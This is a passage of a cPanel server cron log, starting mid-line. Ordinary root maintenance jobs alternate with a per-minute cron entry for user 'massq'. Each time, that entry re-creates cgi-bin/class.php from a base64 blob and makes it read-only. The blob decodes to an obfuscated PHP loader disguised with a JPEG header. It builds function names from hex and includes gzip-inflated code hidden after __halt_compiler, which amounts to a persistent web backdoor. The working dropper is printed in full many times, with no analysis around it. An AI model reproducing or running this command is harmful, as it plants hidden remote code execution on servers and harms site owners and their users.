LCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:08:02 server CROND[1564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:09:01 server CROND[1618]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 06:09:01 server CROND[1619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:10:01 server CROND[1719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:10:01 server CROND[1721]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 06:10:01 server CROND[1722]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 06:10:01 server CROND[1723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 06:11:01 server CROND[1835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:12:01 server CROND[2022]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 06:12:01 server CROND[2023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:13:01 server CROND[2073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:14:01 server CROND[2147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:15:01 server CROND[2229]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  7 06:15:01 server CROND[2230]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 06:15:01 server CROND[2231]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  7 06:15:01 server CROND[2232]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 06:15:01 server CROND[2237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:16:01 server CROND[2373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:17:01 server CROND[2523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:18:01 server CROND[2572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:19:01 server CROND[2629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:20:01 server CROND[2699]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 06:20:01 server CROND[2701]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 06:20:01 server CROND[2703]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 06:20:01 server CROND[2702]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 06:20:01 server CROND[2704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
